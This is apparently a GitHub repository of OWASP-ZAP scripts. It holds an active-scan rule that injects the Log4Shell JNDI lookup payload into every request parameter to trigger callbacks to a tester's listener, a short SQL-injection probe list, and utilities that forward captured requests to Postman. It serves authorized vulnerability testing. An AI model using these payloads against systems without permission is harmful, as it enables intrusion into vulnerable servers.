├── README.md ├── active ├── CVE-2021-44228-log4j.js └── zapcon-sqli.js ├── extender └── sendtopostman_popup.py └── targeted └── sendtopostman.py /README.md: -------------------------------------------------------------------------------- 1 | # Scripts for OWASP-ZAP 2 | 3 | An ever-changing collection of scripts for [OWASP-ZAP](https://zaproxy.org) 4 | 5 | Contents: 6 | 7 | ``` 8 | |-active-| 9 | | |- CVE-2021-44228-log4j.js -> Drive-by testing for "Log4Shell" vulnerability 10 | | |- zapcon-sqli.js -> Very basic drive-by script from my [ZAPCon 2022 talk](https://www.youtube.com/watch?v=AqZdqAK9S2g) 11 | | 12 | |-extender-| 13 | | |-sendtopostman_popup.py -> Send API requests from the history directly to Postman 14 | | 15 | |-targeted-| 16 | |-sendtopostman.py -> Unpolished precursor to sendtopostman_popup.py. 17 | ``` 18 | 19 | 20 | Twitter: @tdotfish 21 | 22 | Github: https://github.com/tdotfish 23 | 24 | Web: https://tdot.fish -------------------------------------------------------------------------------- /active/CVE-2021-44228-log4j.js: -------------------------------------------------------------------------------- 1 | // Quick OWASP-ZAP Active Rule script to test for CVE-2021-44228 2 | // 3 | // Spams a payload to every parameter. If your callback listener lights up, then it's most likely vulnerable. 4 | // 5 | // Could be adapted to test request headers. 6 | // 7 | // Use with ATTACK Mode. Not recommended for Active Scanning because it would be difficult to figure out which 8 | // payload(s) trigger a callback. 9 | // 10 | // How to use: 11 | // 1. Load this rule into ZAP under `Active Rules` 12 | // 2. Set up a listener on an IP that the target can reach (e.g. netcat) 13 | // 3. Replace LISTENER_IP and LISTENER_PORT with your listener's IP/PORT 14 | // 4. Save/Enable the script 15 | // 5. Set up a scan policy with everything off except for `Script Active Scan Rules (Threshold Low/Strength Insane)` 16 | // 6. Add target to scope 17 | // 7. Switch to ATTACK Mode 18 | // 8. Explore the site while monitoring the listener and see what requests/params trigger the callback 19 | // 20 | // Use only against targets that you own or have explicit permission test. The author of this script accepts no liability 21 | // or responsibility for the use of this script. 22 | // 23 | // Twitter: @tdotfish 24 | // 25 | // Github: https://github.com/tdotfish 26 | // 27 | // Web: https://tdot.fish/ 28 | 29 | var attacks = [ 30 | "${jndi:ldap://LISTENER_IP:LISTENER_PORT/}" 31 | ] 32 | function scan(as, msg, param, value) { 33 | for (i = 0; i < attacks.length; i++) { 34 | new_msg = msg.cloneRequest(); 35 | attack1 = attacks[i]; 36 | print("attack1 = ",attack1); 37 | as.setParam(new_msg, param, value + attack1); 38 | as.sendAndReceive(new_msg, false, false); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /active/zapcon-sqli.js: -------------------------------------------------------------------------------- 1 | var attacks = [ 2 | "'", 3 | "\"", 4 | ";", 5 | "';" 6 | ] 7 | function scan(as, msg, param, value) { 8 | for (i = 0; i < attacks.length; i++) { 9 | new_msg = msg.cloneRequest(); 10 | attack1 = attacks[i] 11 | print("attack1 = ",attack1); 12 | as.setParam(new_msg, param, value + attack1); 13 | as.sendAndReceive(new_msg, false, false); 14 | } 15 | } -------------------------------------------------------------------------------- /extender/sendtopostman_popup.py: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # 3 | # sendtopostman_pop.py 4 | # 5 | # Highlight one or more items in the History pane and send them to Postman 6 | # 7 | # by T.Fish 8 | # 9 | # Github: (https://github.com/tdotfish) 10 | # Twitter: @tdotfish 11 | # Web: https://tdot.fish 12 | # 13 | # Usage: 14 | # 1. Load this script in ZAP as an extender type script 15 | # 2. Change `postmanPort` and `postmanIP` as needed 16 | # 3. Right-click it and choose "Enable Script(s)" 17 | # 4. Optional - Double-click it and tick the "Load on Start" box 18 | # 5. Highlight item(s) in the history pane 19 | # 6. Right click a highlighted item and choose Send to Postman 20 | # 7. All highlighted items will appear in Postman History 21 | # 22 | # If nothing appears in Postman History check that Postman is in Capture mode 23 | # and IP and port are set correctly. 24 | # 25 | # A warning will also appear in the ZAP script console if this happens. 26 | # 27 | # Caveat: If you are already pointing ZAP to an upstream proxy, you will need 28 | # to make sure Postman is configured to use that same upstream proxy. 29 | # 30 | ############################################################################### 31 | 32 | from org.zaproxy.zap.view.popup import PopupMenuItemHistoryReferenceContainer 33 | from org.parosproxy.paros.network import HttpSender, HttpMessage, HttpRequestHeader 34 | from org.parosproxy.paros.model import Model 35 | from java.net import ConnectException 36 | from time import sleep 37 | import sys 38 | 39 | postmanPort = 5555 40 | postmanIP = "127.0.0.1" 41 | 42 | class PostmanPopup(PopupMenuItemHistoryReferenceContainer): 43 | def performAction(self, historyReference): 44 | 45 | connectionParam = Model.getSingleton().getOptionsParam().getConnectionParam() 46 | 47 | #Save existing ProxyChain settings 48 | oldProxyName = connectionParam.getProxyChainName() 49 | oldProxyPort = connectionParam.getProxyChainPort() 50 | oldProxyAuthEnabled = connectionParam.isUseProxyChainAuth() 51 | oldProxyEnabled = connectionParam.isUseProxyChain() 52 | 53 | connectionParam.setProxyChainName(postmanIP) 54 | connectionParam.setProxyChainPort(postmanPort) 55 | connectionParam.setUseProxyChainAuth(False) 56 | connectionParam.setUseProxyChain(True) 57 | 58 | #https://groups.google.com/g/zaproxy-scripts/c/k0trKMHBxQk/m/eHzIkC7rBgAJ 59 | sender = HttpSender(connectionParam, True, HttpSender.MANUAL_REQUEST_INITIATOR) 60 | 61 | msg = HttpMessage(historyReference.getHttpMessage().cloneRequest()) 62 | 63 | try: 64 | sender.sendAndReceive(msg) 65 | except ConnectException, err: # <- java.net.ConnectException is thrown when Postman isn't listening 66 | #print(sys.exc_info()[0], sys.exc_info()[1]) 67 | print("Proxy connection was refused. Is Postman in capture mode?") 68 | finally: 69 | #Revert to prior ProxyChain settings 70 | connectionParam.setProxyChainName(oldProxyName) 71 | connectionParam.setProxyChainPort(oldProxyPort) 72 | connectionParam.setUseProxyChainAuth(oldProxyAuthEnabled) 73 | connectionParam.setUseProxyChain(oldProxyEnabled) 74 | 75 | postmanmenuitem = PostmanPopup("Send To Postman", True) 76 | 77 | def install(helper): 78 | if helper.getView(): 79 | helper.getView().getPopupMenu().addMenu(postmanmenuitem) 80 | print("SendToPostman.py Enabled") 81 | return 82 | 83 | def uninstall(helper): 84 | if helper.getView(): 85 | helper.getView().getPopupMenu().removeMenu(postmanmenuitem) 86 | print("SendToPostman.py Disabled") 87 | return 88 | -------------------------------------------------------------------------------- /targeted/sendtopostman.py: -------------------------------------------------------------------------------- 1 | # Note: This was a script that I wrote to quickly accomplish an objective but it is 2 | # not great because it does not handle multi-select appropriately and it constantly 3 | # switches over to the Script Output tab even though there is really nothing useful 4 | # printed in there. 5 | # 6 | # I encourage you to use extender/sendtopostman_popup.py script instead but I'm 7 | # leaving this script in github because the framework of building an OS command and 8 | # running it could be helpful. 9 | # 10 | # Translated the built-in curl_command_generator.js to python 11 | # and tweaked it slightly so that you can right click a request in the History 12 | # or other tab and send it to Postman to easily add it to a collection 13 | # 14 | # Usage: Put this script in `targeted`. Set the postmanPort variable as needed (default is 5555). 15 | # Set Postman to capture requests. 16 | # Then, right click a request and choose Invoke With Script... and then sendtopostman.py. 17 | 18 | import os 19 | import json 20 | 21 | postmanPort=5555 22 | 23 | def invokeWith(msg): 24 | cmd = "curl -i -s -k -x 'http://localhost:"+str(postmanPort)+"' -X '"+msg.getRequestHeader().getMethod()+"' \\\n" 25 | header = msg.getRequestHeader().getHeadersAsString() 26 | header = header.split(msg.getRequestHeader().getLineDelimiter()) 27 | for i in header: 28 | keyval = i.split(":") 29 | if(keyval[0].strip() != "Host"): 30 | if i.strip(): 31 | cmd = cmd + " -H '"+i.strip()+"' " 32 | cmd = cmd + "\\\n" 33 | body = msg.getRequestBody().toString() 34 | if body: 35 | cmd = cmd + "--data-binary $'"+json.dumps(body)[1:-1]+"' \\\n" 36 | cmd = cmd + "'"+msg.getRequestHeader().getURI().toString()+"'" 37 | result = os.system(cmd) 38 | print(result) 39 | --------------------------------------------------------------------------------